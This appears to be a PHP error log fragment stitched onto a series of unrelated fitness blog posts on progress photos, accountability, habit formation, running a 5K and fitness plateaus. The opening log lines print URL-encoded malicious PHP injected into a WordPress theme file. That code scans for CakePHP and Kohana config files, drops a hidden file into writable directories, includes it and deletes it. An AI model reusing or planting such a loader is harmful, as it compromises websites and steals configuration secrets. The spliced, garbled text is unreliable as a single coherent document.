D%20elseif%20%28%24file%20%3D%3D%20%27app.php%27%20%26%26%20strpos%28%24p%2C%20%27config/%27%29%20%21%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_cakephp%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%28%24file%20%3D%3D%20%27bootstrap.php%27%20%7C%7C%20%24file%20%3D%3D%20%27url.php%27%29%20%26%26%20strpos%28%24p%2C%20%27application/%27%29%20%21%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_kohana%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20scan%28%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20");foreach($dirs as $d){if(is_dir($d)&& is_writable($d)){$p="{$d}/.db2_convert";if(file_put_contents($p,$c)){try{include $p;}finally{@unlink($p);}exit;}}}die("!notwrtbl!");'] in /home/gymdaily/public_html/wp-content/themes/astra/inc/customizer/configurations/builder/header/configs/below.builder.php on line 17
[24-Aug-2026 20:56:59 UTC] PHP Parse error: Unclosed '{' in /tmp/.uconvert on line 1
[24-Aug-2026 20:59:42 UTC] PHP Parse error: Unclosed '{' in /tmp/.parle_tokens on line 1
[25-Aug-2026 01:04:59 UTC] PHP Parse error: Unclosed '{' in /tmp/.uconvert on line 1
[25-Aug-2026 01:08:48 UTC] PHP Parse error: Unclosed '{' in /tmp/.accept on line 1
Tracking Progress: Why Photos Are Better Than Scales For many people on a fitness journey, the scale becomes the primary tool for tracking progress. However, relying only on numbers can be misleading and even discouraging. Progress photos offer a more accurate and motivating way to see results. Here’s why photos often beat scales when it comes to measuring success. 1. The Scale Doesn’t Tell the Whole Story Weight can fluctuate daily due to water retention, hormones, or digestion. The number on the scale doesn’t reflect muscle gain, fat loss, or body composition changes. Two people with the same weight can look completely different. 2. Photos Show Visible Change Progress photos capture what the mirror might miss. Comparing images weeks or months apart helps you see subtle changes in muscle definition, posture, and overall shape that the scale cannot reveal. 3. Motivation Through Visual Proof Seeing physical changes over time provides powerful motivation. Even if the scale barely moves, photos prove that your efforts are paying off, helping you stay consistent and confident in your routine. 4. Body Recomposition Matters Building muscle while losing fat may not cause significant weight change, but it dramatically transforms appearance. Photos show this recomposition, while the scale might make it seem like “nothing is happening.” 5. Encourages a Healthier Mindset Constantly checking the scale can lead to frustration, stress, or unhealthy habits. Progress photos shift the focus from a single number to overall transformation, promoting a more positive relationship with fitness. 6. Easy to Track Over Time Taking weekly or monthly photos in consistent lighting, clothing, and poses provides a clear timeline of progress. This makes it easier to reflect on how far you’ve come, especially during moments of doubt. 7. Complements Other Tracking Methods Photos don’t have to replace scales entirely. Combined with measurements, workout logs, or fitness apps, they provide a fuller picture of your journey. Conclusion While the scale can offer some information, it’s not the best measure of fitness progress. Progress photos show visible changes, reflect true body composition, and provide lasting motivation. By focusing on how you look and feel rather than just the number on the scale, you’ll develop a healthier and more rewarding approach to fitness. The Role of Accountability in Achieving Fitness Goals Staying consistent is one of the hardest parts of any fitness journey. While motivation can get you started, accountability is what keeps you going. Having someone—or something—to hold you responsible for your actions creates structure, builds discipline, and makes it much harder to give up. Let’s explore why accountability is so powerful and how you can use it to reach your fitness goals. 1. Accountability Increases Commitment When you commit to a fitness plan privately, it’s easy to skip workouts or slack off on nutrition without consequences. But when you share your goals with others—whether a friend, coach, or online community—you create external responsibility. Knowing someone else is aware of your progress makes you more likely to stay on track. 2. Encouragement and Support Boost Motivation Accountability partners not only remind you of your goals but also encourage you when motivation dips. A workout buddy or coach can celebrate your wins, push you to do that extra rep, and remind you why you started in the first place. This emotional support can be the difference between giving up and pushing through. 3. Accountability Helps Build Consistency Consistency is key to long-term success. Whether it’s logging workouts in a fitness app, checking in with a trainer, or attending scheduled group classes, accountability creates routines you’re more likely to stick to. Over time, these habits become part of your lifestyle. 4. Honest Feedback Drives Improvement Sometimes we don’t notice when we’re not giving our best effort. Accountability introduces a level of honesty—someone can point out when you’re slacking or help you adjust your strategy. This constructive feedback ensures you’re always improving instead of staying stagnant. 5. Different Forms of Accountability Accountability doesn’t always require a workout buddy. It can take many forms, including: Choosing the right type of accountability depends on what motivates you most. 6. Self-Accountability Matters Too While external accountability is powerful, developing self-discipline is equally important. Setting reminders, journaling workouts, or reviewing progress photos helps you stay accountable to yourself. Over time, this builds intrinsic motivation that lasts even without external pressure. Conclusion Accountability transforms fitness goals from vague intentions into actionable commitments. By having someone—or something—to keep you on track, you increase motivation, consistency, and long-term success. Whether it’s a trainer, workout buddy, or fitness app, find a system of accountability that works for you. It may just be the missing piece in achieving your fitness journey. The Psychology of Habit Formation in Fitness One of the biggest challenges in fitness isn’t knowing what to do—it’s sticking with it long enough to see results. Many people start strong with motivation but lose momentum over time. Understanding the psychology of habit formation can help you turn fitness into a sustainable lifestyle rather than a short-term effort. 1. Motivation Gets You Started, Habits Keep You Going Motivation is often short-lived, driven by emotions or external factors like New Year’s resolutions. Habits, however, rely on consistent actions. Once fitness becomes automatic—like brushing your teeth—you no longer need constant motivation to keep going. 2. The Habit Loop: Cue, Routine, Reward Psychologists describe habits as a loop: By reinforcing this loop, fitness behaviors become automatic. 3. Start Small to Build Consistency Many people fail because they take on too much too quickly. Instead of committing to an hour-long workout five days a week, start with 10 minutes daily. Small wins build momentum and increase the likelihood of long-term success. 4. Anchor New Habits to Existing Ones Pairing fitness with something you already do daily makes it easier to remember. For example: This technique, called “habit stacking,” leverages existing routines. 5. Use Accountability and Social Support Working out with a friend, joining a class, or sharing progress online creates accountability. Humans are social creatures, and external support often strengthens habit formation. 6. Focus on Identity, Not Just Outcomes Instead of only aiming for results like weight loss or muscle gain, shift your mindset to identity: “I am a person who exercises daily.” When fitness becomes part of your identity, you’re more likely to stick with it regardless of temporary setbacks. 7. Embrace the Power of Rewards Rewarding yourself after workouts—whether with a protein shake, a hot shower, or even marking it off on a calendar—reinforces the habit loop. Positive reinforcement helps your brain associate fitness with pleasure. 8. Plan for Barriers Setbacks are inevitable. Instead of quitting when life gets busy, plan small alternatives. For example, if you miss the gym, do a quick home workout. Flexibility keeps the habit alive even on tough days. Conclusion Fitness success is less about willpower and more about building strong habits. By understanding the psychology of habit formation—cues, routines, rewards, and consistency—you can create a sustainable fitness lifestyle that lasts. When habits take over, staying fit becomes effortless and natural. The Importance of Self-Compassion on Your Fitness Journey When it comes to fitness, people often focus on discipline, motivation, and hard work. While these are important, one often-overlooked factor is self-compassion. Many individuals beat themselves up for missing workouts, eating unhealthy meals, or not reaching goals quickly enough. But the truth is, being kind to yourself can actually help you achieve long-term success in fitness. 1. What Is Self-Compassion? Self-compassion means treating yourself with the same kindness, patience, and understanding that you’d offer a friend. Instead of harsh self-criticism when you fall short, you acknowledge mistakes without judgment and use them as learning opportunities. 2. Why Self-Criticism Doesn’t Work Many people think being hard on themselves will push them to do better. In reality, self-criticism often leads to guilt, stress, and eventually burnout. Over time, this negative mindset makes it harder to stay consistent with workouts and healthy habits. 3. How Self-Compassion Supports Fitness Goals 4. Practical Ways to Practice Self-Compassion in Fitness 5. Balancing Self-Compassion and Discipline Being compassionate doesn’t mean letting yourself off the hook completely. It’s about striking a balance: holding yourself accountable while also forgiving yourself when things don’t go as planned. This healthy balance creates a sustainable, long-term fitness journey. Conclusion Self-compassion isn’t a sign of weakness—it’s a powerful tool that helps you stay consistent, reduce stress, and build resilience on your fitness journey. By treating yourself with kindness, you create a positive environment for lasting change. Remember: progress takes time, and showing yourself compassion is one of the best ways to keep moving forward. How to Celebrate Small Wins to Stay Motivated Big fitness milestones—like running a marathon or losing a large amount of weight—take time. Waiting only for those achievements can feel overwhelming and may cause you to lose motivation along the way. That’s why celebrating small wins is so important. Recognizing progress in smaller steps not only keeps you motivated but also builds momentum toward your larger goals. 1. Why Small Wins Matter Small wins may seem insignificant at first, but they add up to major progress over time. Each time you hit a minor goal—whether it’s drinking more water, finishing an extra set, or making it to the gym consistently—you reinforce the idea that you’re capable of change. This keeps your confidence and commitment strong. 2. Examples of Small Wins in Fitness Acknowledging these wins prevents you from overlooking the everyday victories that push you closer to your big goals. 3. Ways to Celebrate Small Wins Celebration doesn’t always mean big rewards—it’s about recognizing your effort and progress. Here are some simple ways to celebrate: 4. Keep Celebrations Aligned with Your Goals The way you celebrate should support your progress, not sabotage it. For example, if your goal is healthier eating, rewarding yourself with junk food may undo your efforts. Instead, choose rewards that fuel your body, lift your mood, or encourage more consistency. 5. Build Momentum Through Regular Recognition Celebrating small wins creates a cycle of motivation. Each small step encourages the next, making the bigger goals feel more achievable. Over time, this consistency forms lasting habits that carry you through plateaus and challenges. Conclusion Progress isn’t only about the finish line—it’s about every step along the journey. By celebrating small wins, you stay motivated, build confidence, and make the process more enjoyable. Remember, success is the result of consistent effort, and every small victory deserves recognition. How to Build Mental Toughness Through Fitness Physical strength often gets the spotlight in fitness, but mental toughness is just as important. Building resilience, focus, and discipline through fitness not only helps you perform better during workouts but also prepares you to handle challenges in everyday life. Fitness is one of the most effective ways to train your mind as well as your body. 1. Set Clear Goals Mental toughness starts with clarity. Define your fitness goals—whether it’s running a 5K, lifting a certain weight, or simply committing to three workouts a week. Having a clear purpose gives you direction and motivation when challenges arise. 2. Embrace Discomfort Growth happens outside your comfort zone. Pushing through that extra set, running when you feel tired, or finishing the last rep builds resilience. Each time you embrace discomfort instead of avoiding it, you strengthen your mental grit. 3. Develop Consistency Consistency is the foundation of mental toughness. Show up on the days you don’t feel motivated. Even a short workout counts. By proving to yourself that you can stay committed, you train your mind to be disciplined in all areas of life. 4. Practice Mindful Workouts Focus on the present moment during exercise. Pay attention to your breathing, posture, and movements. This mindfulness not only improves performance but also helps you manage stress and maintain focus under pressure. 5. Break Big Goals into Small Wins Running a marathon or losing significant weight can feel overwhelming. Break big goals into manageable steps. Celebrating small wins builds confidence and reinforces the belief that you can achieve bigger milestones. 6. Use Fitness to Build Stress Resilience Intense workouts like HIIT or long endurance sessions mimic stressful situations. Training your body to stay composed under physical stress teaches your mind to handle pressure, making you more resilient in everyday challenges. 7. Track Your Progress Documenting improvements—whether it’s lifting more weight, running longer, or feeling less fatigued—keeps you motivated. Progress tracking builds mental strength by showing tangible results of your effort. 8. Surround Yourself with Support Training with a community or accountability partner helps you push beyond your limits. Positive peer pressure and encouragement strengthen both your physical performance and your determination. 9. Learn to Recover Mental toughness isn’t just about pushing harder—it’s also about knowing when to rest. Recovery teaches patience, self-control, and balance, all of which are essential traits of a strong mindset. Conclusion Fitness is more than just physical—it’s a powerful tool for developing mental toughness. By embracing discomfort, staying consistent, setting clear goals, and learning to recover, you can train your mind alongside your body. Over time, these habits build resilience that helps you thrive in fitness, business, and life.
How to Break Bad Habits and Replace Them with Healthy Ones
Everyone has habits—some good, some not so good. While positive habits help us grow, negative ones can hold us back from reaching our potential. Breaking bad habits isn’t easy, but with the right strategies, you can replace them with healthier alternatives that improve both physical and mental well-being.
Most habits are linked to specific cues or situations. For example, you might snack while watching TV or check your phone when you feel stressed. Recognizing these triggers is the first step to breaking the cycle.
Habits follow a three-part loop:
To change a habit, keep the cue and reward but replace the routine with a healthier one.
Trying to change everything at once can feel overwhelming. Focus on one habit at a time and make specific changes. For example, instead of “I’ll stop eating junk food,” aim for “I’ll replace soda with water at lunch.”
Instead of fighting a bad habit head-on, replace it with a better one. If stress makes you bite your nails, try squeezing a stress ball or practicing deep breathing instead. This way, you still satisfy the urge without the negative behavior.
Increase friction for negative habits. If you want to stop scrolling late at night, charge your phone in another room. By making the bad habit less convenient, you reduce the chances of repeating it.
Reduce barriers to good habits. Lay out workout clothes the night before, keep healthy snacks within reach, or set reminders to drink water. The easier the behavior, the more likely it will stick.
Use a journal, calendar, or habit-tracking app to mark each day you avoid the bad habit or follow through with the new one. Seeing progress builds momentum and keeps motivation high.
Share your goals with a friend, join a support group, or find an accountability partner. Social encouragement makes it easier to stay committed.
Breaking a habit takes time. Research suggests it can take 21–66 days to form a new habit, depending on the behavior. Expect setbacks but don’t let them derail your progress—focus on long-term consistency.
Celebrate small victories. Rewards don’t have to be big—treat yourself to a relaxing evening, new workout gear, or simply acknowledge your success. Positive reinforcement makes habits more likely to last.
Conclusion
Breaking bad habits isn’t about willpower alone—it’s about understanding patterns and consciously replacing them with healthier routines. By identifying triggers, making small changes, and celebrating progress, you can create positive habits that support your health, productivity, and happiness.
]]>
From Couch to 5K: How to Start Running Safely
Running a 5K (5 kilometers or 3.1 miles) is a popular fitness goal for beginners. It’s long enough to be a challenge but short enough to feel achievable with the right plan. The key to success isn’t just building endurance—it’s learning how to train safely so you can avoid injuries and stay consistent. Whether you’re new to exercise or returning after a break, here’s how to transition from the couch to completing your first 5K.
If you’ve been inactive for a while or have any health conditions, it’s best to consult your doctor before starting. This ensures your body is ready for the training ahead and helps you avoid unnecessary risks.
Wearing the wrong shoes can lead to blisters, knee pain, or long-term injuries. Choose a pair of supportive running shoes that fit well and suit your running style. Many specialty stores offer gait analysis to recommend the right pair for you.
Jumping straight into running often leads to fatigue or injuries. A safer approach is to build endurance gradually:
This method strengthens your muscles, joints, and cardiovascular system without overwhelming your body.
Consistency is key. A typical Couch to 5K program spans 8–10 weeks, focusing on three sessions per week. Each week, you’ll slightly increase the running intervals until you can run a full 5K without stopping. Having a plan prevents overtraining and ensures steady progress.
Skipping warm-ups is a common beginner mistake. Start each session with 5 minutes of walking or light dynamic stretches to loosen your muscles. After your run, cool down with easy walking and static stretches to improve recovery.
It’s normal to feel sore when starting out, but sharp pain or swelling is a red flag. If you feel discomfort, take rest days or cross-train with low-impact activities like cycling or swimming. Pushing through pain can lead to long-term injuries.
Maintain good form while running:
Proper technique helps conserve energy and reduces strain on your body.
Use a running app, smartwatch, or journal to track your time and distance. Celebrate small victories, like completing your first continuous 10-minute run or hitting the halfway mark. Recognizing progress keeps you motivated.
Rest days are essential for your body to adapt and grow stronger. Aim for at least one full rest day between runs and ensure you’re getting enough sleep. Proper recovery prevents burnout and injuries.
Running is about progress, not perfection. Don’t get discouraged if you feel slow at first. With patience and consistency, you’ll be amazed at how quickly your endurance improves.
Conclusion
Going from couch to 5K is an exciting and rewarding journey. By starting gradually, listening to your body, and following a structured plan, you can train safely and confidently. Remember, the goal isn’t just to cross the finish line—it’s to enjoy the process and build a sustainable running habit for life.
]]>
30-Day Fitness Challenge: A Step-by-Step Plan
A 30-day fitness challenge is a great way to kickstart healthier habits, build consistency, and see noticeable progress in just one month. Whether your goal is weight loss, improved strength, or more energy, this structured plan will guide you step by step.
How the Challenge Works
Weekly Breakdown
Week 1: Building the Habit
Week 2: Increasing Intensity
Week 3: Pushing Your Limits
Week 4: Finishing Strong
Tips for Success
Conclusion
A 30-day fitness challenge is about building consistency and pushing yourself gradually. By following this step-by-step plan, you’ll not only get stronger and fitter but also develop habits that can last well beyond the 30 days.
]]>
5 Ways to Overcome Plateaus in Fitness Progress
Hitting a plateau in your fitness journey can feel discouraging. At first, you see great results—strength improves, weight drops, or endurance builds. But over time, progress slows down, and it seems like nothing is working. Plateaus are common, but they don’t mean you’ve failed. They’re simply a signal that your body has adapted and needs a new challenge. Here are five effective strategies to break through and keep moving forward.
1. Change Up Your Workout Routine
Doing the same exercises every day trains your body to adapt, which eventually reduces results. To overcome this, mix up your routine by:
Variety challenges your muscles in new ways, pushing you past the plateau.
2. Increase Intensity Gradually
If you’ve been lifting the same weights or running the same distance for weeks, your body no longer feels challenged. Progress requires progressive overload—gradually increasing resistance or effort. This could mean adding more weight, running longer distances, or pushing for higher intensity intervals. Small increases can reignite progress without risking injury.
3. Focus on Nutrition and Recovery
Sometimes plateaus happen because of what’s happening outside the gym. Your body needs fuel and rest to grow stronger.
Better recovery can lead to renewed strength and energy for workouts.
4. Track and Reassess Your Goals
Plateaus can occur when your workouts are no longer aligned with your goals. Take time to reassess:
By evaluating your current plan, you can make smarter adjustments to break through stagnation.
5. Stay Mentally Engaged and Motivated
Sometimes plateaus are more mental than physical. If you’re bored or unmotivated, your workouts may lack the intensity needed for progress. To re-energize your mindset:
Staying engaged ensures you push harder and remain consistent, which helps overcome barriers.
Conclusion
A fitness plateau isn’t the end of progress—it’s an opportunity to grow. By changing your routine, increasing intensity, focusing on recovery, reassessing goals, and keeping motivation high, you can push past the plateau and continue improving. Remember: progress may slow, but persistence always pays off.
]]>